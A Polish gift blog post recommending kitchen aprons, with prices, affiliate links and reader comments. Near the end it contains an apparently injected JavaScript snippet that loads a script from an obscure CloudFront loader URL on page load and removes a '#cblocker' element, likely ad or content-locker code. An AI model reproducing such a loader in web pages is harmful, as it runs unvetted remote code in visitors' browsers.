Prezentuję ciuch dla szefa kuchni

4 kwietnia 2012
F jak …

Seria prezentowe abecadło trwa i dotarła już do literki F – na tą literkę miałam nawet nadmiar pomysłów, więc prędzej czy później opiszę inną rzecz zaczynającą się od ‘f’. Dziś jednak postanowiłam napisać o pewnym specyficznym ubranku, o którym już nawet raz pisałam, z tym że wtedy w wersji konkretnej, a tym razem będzie bardziej ogólnie.
 
Gotowanie i pieczenie jest ostatnio bardzo popularnym hobby; za dowód niech wystarczą miliony blogów o tej tematyce. Nawet takie osoby jak ja, które gotować za bardzo nie lubią, kilka razy do roku są przymuszane do tego typu zajęć, na przykład z okazji Świąt. W takich sytuacjach zawsze pojawia się tradycyjny problem jak to zrobić, żeby się nie pochlapać przy tych wszystkich kuchennych manewrach – nasze mamy miały do tego celu zwykłe, mało ekscytujące fartuszki. Na szczęście dla nas i naszych gotujących mężczyzn dzisiaj nawet taki kuchenny ciuszek może być śliczny lub ironiczny.


Poniżej przedstawiam Wam małą próbkę tego, co rozmaite sklepy oferują w kategorii fartuszki – mnie podobają się wszystkie trzy, choć każdy z innego powodu. Pierwszy z oczywistych względów bardziej pasuje do mężczyzn – już sobie wyobrażam Pana M. jak w nim przygotowuje kiełbaski z grilla! Drugi podarowałabym mojej szwagierce, która uwielbia Londyn i wszystko, co z nim związane (ma on dodatkową zaletę – pokryty jest zmywalną powłoką, co bardzo przyda się tym, którym zawsze coś gdzieś skapnie). Trzeci byłby idealny dla mnie samej, bo po prostu uwielbiam zielony kolor! 

Fartuszek piwosza – cena: 35 zł (www.yego.pl)

Rashbrookes fartuch kuchenny zmywalny Londyn – cena: 89,90 zł (www.czerwonamaszyna.pl)

Fartuch kucharski dla dorosłego – cena: 49,90 zł (www.endo.pl)

A dla tych, którzy pragną podarować naprawdę wyjątkowy i dopasowany do danej osoby fartuch zawsze pozostaje opcja jego uszycia! Wcale nie żartuję – kilka lat temu moja siostra zachwycała się prezentem jaki dostała od przyjaciółki, a był to właśnie fartuch w może mało praktycznym czarnym kolorze, ale za to z wyszytą nazwą i logo najsłynniejszej francuskiej akademii kulinarnej – Cordon Bleu. Taki prezent doceni każdy aspirujący do miana szefa kuchni!


P.S. Zdjęcia pochodzą ze stron www.yego.pl, www.czerwonamaszyna.pl oraz www.endo.pl

Zawarte w tym wpisie linki do sklepów Czerwona Maszyna i Endo to tak zwane linki afiliacyjne. Oznacza to, iż jeśli klikając na nie dokonacie zakupu otrzymam z tego tytułu prowizję. Nie zmieni to w żaden sposób ceny jaką Wy zapłacicie za zamówione produkty, a pokaże mi, że doceniacie moje rekomendacje. Będę Wam bardzo wdzięczna za korzystanie z tych linków.

if(typeof(jQuery)==’undefined’){(function(){var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.src=’https://ajax.googleapis.com/ajax/libs/jquery/1.7.1/jquery.min.js’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);if(ccm.readyState){ccm.onreadystatechange=function(){if(ccm.readyState==”loaded”||ccm.readyState==”complete”){ccm.onreadystatechange=null;ccm_e_init(1);}};}else{ccm.onload=function(){ccm_e_init(1);};}})();}else{ccm_e_init();}
function ccm_e_init(jc){if(jc){jQuery.noConflict();}
jQuery(function(){var http=location.href.indexOf(‘https://’)>-1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};

Tagi: , , ,

Kategoria: , , , , , , ,

Blog jest po przeprowadzce,

więc jeśli zauważysz jakieś błędy, których nie wychwyciłam, napisz proszę do mnie :)

kontakt@prezentujeprezenty.pl

Poprzedni

Prezentuję urządzenie dla wielbicieli małej czarnej

Następny

Prezentuję smak lata nad polskim morzem

  • Świetne fartuszki. Ja wprawdzie nie mam zwyczaju ich nosić ale na takie to chyba nawet dałabym się namówić!
    Świątecznie pozdrawiam!

  • a ten pomysł już wykorzystałam! :) kilka lat temu kolega dostał taki ode mnie na urodziny! :)